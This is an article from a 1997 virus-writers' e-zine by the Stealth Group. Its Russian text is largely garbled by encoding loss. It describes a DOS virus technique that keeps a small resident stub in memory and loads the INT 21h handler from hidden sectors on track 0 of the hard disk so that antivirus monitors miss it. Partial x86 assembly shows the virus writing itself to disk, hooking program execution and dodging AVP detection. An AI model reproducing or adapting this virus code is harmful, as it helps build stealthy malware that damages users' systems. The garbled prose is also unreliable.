Ŀ
INFECTED MOSCOW #1 JAN'97 (C)STEALTH Group MoscoW & Co  one@redline.ru~ 

Ŀ
 ᠤ    ૥ 稪      (C) LovinGOD            


           ⪠  ,      XMS, EMS  稥
 ...      ᫮, 饣  筮
, , ᪠,  줥 ?

   ॠ樨  ⬠ 室  ᫥騥 :

1.  ࠭ ᪮쪮 ⪮  १⭮ ࠡ稪 ?

  +  ஢
  + - ⮪  -  ⥪ DOS,  DOS  ..
  + 让  
      (AVPTSR, -D, VSAFE, ANTIAPE  ॠ  뤥 ⪠ 
       20h ࠣ䮢.
  +  100h  ᥣ 60
      ᯮ DOS  砫쭮 㧪;
       COMMAND.COM,   멤  Windows,   㢨, 
       ᮪  ᥣ 㤥 ஭.

2. 㤠 㦠 ⥫ ୮ ࠡ稪 ?

     RAM,  ᥣ > 9800h.   ࠭  COMMAND.COM,
     ७  ,    ⠬, ⮡  .  ᪠ ᯠᨡ,
       ࠧ.
    뤥  .  ६ ࠡ      ⮯-
   .

3.   ⥫ ୮  뢠  RAM ?
   +  㫥 ஦. 
     :  裡  ᯫ訬 boot-ࠬ, ᠭ묨  (祬
         boot-manager'  ,   ᥪ஢ ?), 㯨 ⮪-
         㣮 ᥪ஢,   稭  0/0/2
   + -  ᪥...
   +   뢠  ࠦ 䠩.   宥 襭 -
      䨪, ஢    ...
            
   -------------------------------------------------------------------------

   ⠪,   室 让 ࠡ稪 INT 21h.  맮 饩
   㭪樨 ࠡ稪 뢠  0 ஦ ⠫쭮 ᢮  㤠-
    640-⭮ १  । ࠢ 㤠.

 ⮨⢠:
  - 蠥 ஡ 室 ⥪஢ ᠤ   
  -  ࠪ᪨     ᫥⢨   
 ⪨:
  - 室 ࠡ  ᪮ (᪮, ᮡ  饭 ।)

;---------------------------------------------------------------------------
;                 COM-䠩
.MODEL TINY
.CODE
.RADIX 16
.386P
 ORG 100
;---------------------------------------------------------------------------
 VIR_SECCOUNT    EQU 4          ; ⢮ ᥪ஢, 室  
 SEC_SINCE       EQU 0A         ;  ᥪ  0 ஦, 㤠 稭
                                ;  ᥪ஢
 OVL_SEG         EQU 09A00      ; ᥣ 㧪 ૥  
;---------------------------------------------------------------------------
START:
VIRUS:

; ...

; ᫨    ,  뢠 ⥫    0 ஦ 
; ⠫㥬   
; (᫨ ૥  㦥  ᪥...  ஢,   ୮ 
;  ᠭ  ࠧ

PC_POSSESS:
  PUSH CS CS
  POP  DS ES
                                ;  ⥫   
  MOV AX,0300+VIR_SECCOUNT
  MOV CX,0000+SEC_SINCE
  MOV DX,0080
  MOV BX,BP                     ;  BP ࠭ ᬥ饭 砫 
  CALL INT_13
  JC  CUREINRAM
                                ; ७ ﭭ १⭮ 
                                ;   0060:0000
  MOV AX,0060
  MOV ES,AX
  MOV SI,BP
  ADD SI,SIXTYSEG-VIRUS
  XOR DI,DI
  MOV CX,(END_SIXTYSEG-SIXTYSEG)/4+1
  CLD
  REP MOVSD

; ...   ⠭ 室 ஢ (skipped)

SIXTYSEG:               ; ᥣ 60 -  室 ﭭ १⭠
                        ;  ࠡ稪 뢠

 MY21_60:               ; ࠡ稪 INT 21h

  CMP AH,0F1            ; ⢥    稨   
  JNE NXTFNC
  IRET
                        ; ࠡ稪 㭪樨 ( 4B00)
 NXTFNC:
  xchg ax,bx            ; -AVP ( 㦥 "CMP AX,4B00")
  CMP bx,4B00
  xchg ax,bx
  JNE JMPF21_60

  PUSHA
  PUSH DS ES

  MOV AX,OVL_SEG
  MOV ES,AX
                              ;   ᪠ ૥  ࠡ稪
  MOV AX,0200+VIR_SECCOUNT
  MOV CX,0000+SEC_SINCE
  MOV DX,0080
  XOR BX,BX
  CALL INT_13
  JC  POP_JMPF21_60           ;  訡 ⥭ ⤠ ࠢ

  DB 0EA                          ; 室  㦥 ࠡ稪
  DD OVL_SEG*10000+(MY21-VIRUS)

                              ; 窠   ૥ 
 CLEAR_OVL_EXIT21:

 POP_JMPF21_60:
  POP ES DS
  POPA

 JMPF21_60:
  DB 0EA
  OLD21_60 DD ?

;------------------------- 楤 맮 INT 13h  ᮢ⨬  Win95
INT_13 PROC
  PUSH AX
  WIN_VER EQU $+1
  MOV AL,00
  CMP AL,4
  POP AX
  JNE JUST_INT13

  PUSHF
  DB 09A
  DD 007003EEh
  RETN

  JUST_INT13: INT 13
  RETN
  INT_13 ENDP
;------------------------------------------------
END_SIXTYSEG:

;------------------- ૥  ࠡ稪
OVERLAY:
MY21:

; ... ࠡ稪 㭪樨 skipped

  JMP 4 PTR CS:[TMP_RETFADDR-VIRUS]     ;   ૥  
                                        ; ᭮  襭 ࠡ稪

                        ; 楤  맮 㭪権 DOS  ࠡ稪
 CALLDOS:
  PUSH 0060
  POP  FS
  PUSHF
  CALL 4 PTR FS:[OLD21_60-SIXTYSEG]
  RETN

  TMP_RETFADDR DD 00600000+(CLEAR_OVL_EXIT21-SIXTYSEG)  ;  

END_OVERLAY:
